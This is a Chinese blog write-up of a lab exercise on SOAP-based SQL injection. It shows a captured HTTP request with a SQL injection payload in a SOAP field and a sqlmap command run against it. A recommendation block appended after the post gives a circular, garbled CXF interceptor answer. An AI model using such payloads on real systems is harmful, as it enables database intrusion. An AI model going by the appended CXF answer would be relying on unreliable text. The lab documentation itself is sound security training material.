SOAP注入学习——安鸾靶场---SOAP协议注入 练习记录

新年好啊!

今天初二,给大家拜个年了,也祝师傅们新的一年取得更大的进步。

目录

SOAP注入知识点

过程


 

SOAP注入知识点

SOAP注入 - 知乎

👆👆👆👆👆👆👆👆👆👆👆👆详细的大家可以看上面掌控者学院的解释(不是广告)。

当然,如果想仔细理解的话,看上面的解释已经是足够了,不过,我觉得大家还是喜欢听人话。。。。。。。。。。。。。。

大家如果熟悉sql注入的话,肯定是知道我们输入的数据会放在数据库进行比较的,一般我们通过拼接语句,进而爆出数据库的东西。

凡是我们输入的数据会拼接到数据库中查询的,都有可能存在sql注入

为什么要先讲这个呢???

这个和SOAP协议注入有什么关联么???

而SOAP又是什么呢???

  1. 首先可以理解为SOAP是一种xml格式的数据。
  2. SOAP协议最终的产物是一个xml格式数据。
  3. 而且数据库会存储这种XML格式的数据。
  4. 这样就满足了sql注入的存在可能 。

例子 建议先看看教程

 SOAP注入 - 知乎

这是soap协议的XML文件

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetServiceCustomer xmlns="http://tempuri.org/">
      <UserID>string</UserID>
      <ServiceType>string</ServiceType>
      <CO_CODE>string</CO_CODE>
    </GetServiceCustomer>
  </soap:Body>
</soap:Envelope>

其中UserID 这个数据可能存在注入,

所以我们需要找到上传UserID 的功能点,最后修改发送的包含XML数据的数据包。

过程

先查找下目录

然后并没有发现啥数据 只有个 /soap

 存在wsdl文件,但怎么找到发送数据包得地方呢?

按照大佬的write up 走,AWVS扫描一下。

没扫出SOAP注入漏洞 。但有地址了

选择 AWVS 的 web service scanner 模块 扫描漏洞地址

出现漏洞报告(注意点击  View HTTP headers)

 其实这里用bp抓包也能实现。

复制 发送的数据包

POST /ws_soap.php HTTP/1.1
Content-Type: text/xml
SOAPAction: "urn:tickets_stock#get_tickets_stock"
Content-Length: 572
X-Requested-With: XMLHttpRequest
Referer: http://47.103.94.191:8018/ws_soap.php?wsdl
Host: 47.103.94.191:8018
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="urn:movie_service">
     <SOAP-ENV:Header/>
     <SOAP-ENV:Body>
        <get_tickets_stock>
         <title>-1&apos; OR 3*2*1=6 AND 000666=000666 -- </title>
        </get_tickets_stock>
     </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

新建一个名为2.txt的文件,把上面的数据复制。

sqlmap 跑 比较慢 需要 10分钟左右

sqlmap -r 2.txt -batch

只存了一张图了 。。。

参考链接

SOAP注入 - 知乎

SOAP注入攻击详解(转)_weixin_30849403的博客-CSDN博客

 SQL注入:SOAP协议注入_zh的博客-CSDN博客


本文目的是为了传播网络安全知识,一切的操作都是在靶场进行,禁止利用本文提到的任何技术与工具进行违法操作!后果自负!

日站不规范,亲人两行泪!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要将CXF SOAP消息中的`<SOAP-ENV:Header>`转换成`<SOAP-ENV:Header>`,可以使用CXF提供的拦截器来实现。 首先,创建一个拦截器类,继承自AbstractSoapInterceptor类,并实现handleRequest和handleResponse方法。在handleRequest方法中,将CXF SOAP消息中的`<SOAP-ENV:Header>`节点替换为`<SOAP-ENV:Header>`节点;在handleResponse方法中,将`<SOAP-ENV:Header>`节点替换为`<SOAP-ENV:Header>`节点。 ```java public class SoapHeaderInterceptor extends AbstractSoapInterceptor { public SoapHeaderInterceptor() { super(Phase.PRE_PROTOCOL); } @Override public void handleMessage(SoapMessage message) throws Fault { // 获取SOAP消息的头部 Header header = message.getHeaders().get(0); // 获取SOAP消息的DOM节点 Element headerElement = (Element) header.getObject(); // 创建新的SOAP消息头节点 Element newHeaderElement = headerElement.getOwnerDocument().createElementNS("http://schemas.xmlsoap.org/soap/envelope/", "SOAP-ENV:Header"); // 复制原来的SOAP消息头节点的所有子节点到新的SOAP消息头节点中 NodeList childNodes = headerElement.getChildNodes(); for (int i = 0; i < childNodes.getLength(); i++) { newHeaderElement.appendChild(headerElement.getOwnerDocument().importNode(childNodes.item(i), true)); } // 将新的SOAP消息头节点替换原来的SOAP消息头节点 header.setObject(newHeaderElement); } @Override public void handleFault(SoapMessage message) { // do nothing } } ``` 然后,在CXF服务端和客户端的配置文件中,添加该拦截器: ```xml <jaxws:endpoint id="exampleService" implementor="com.example.ExampleServiceImpl" address="/exampleService"> <jaxws:inInterceptors> <bean class="com.example.SoapHeaderInterceptor" /> </jaxws:inInterceptors> </jaxws:endpoint> <jaxws:client id="exampleClient" serviceClass="com.example.ExampleService" address="http://localhost:8080/exampleService"> <jaxws:outInterceptors> <bean class="com.example.SoapHeaderInterceptor" /> </jaxws:outInterceptors> </jaxws:client> ``` 这样,在CXF SOAP消息发送和接收时,就可以将`<SOAP-ENV:Header>`转换成`<SOAP-ENV:Header>`了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值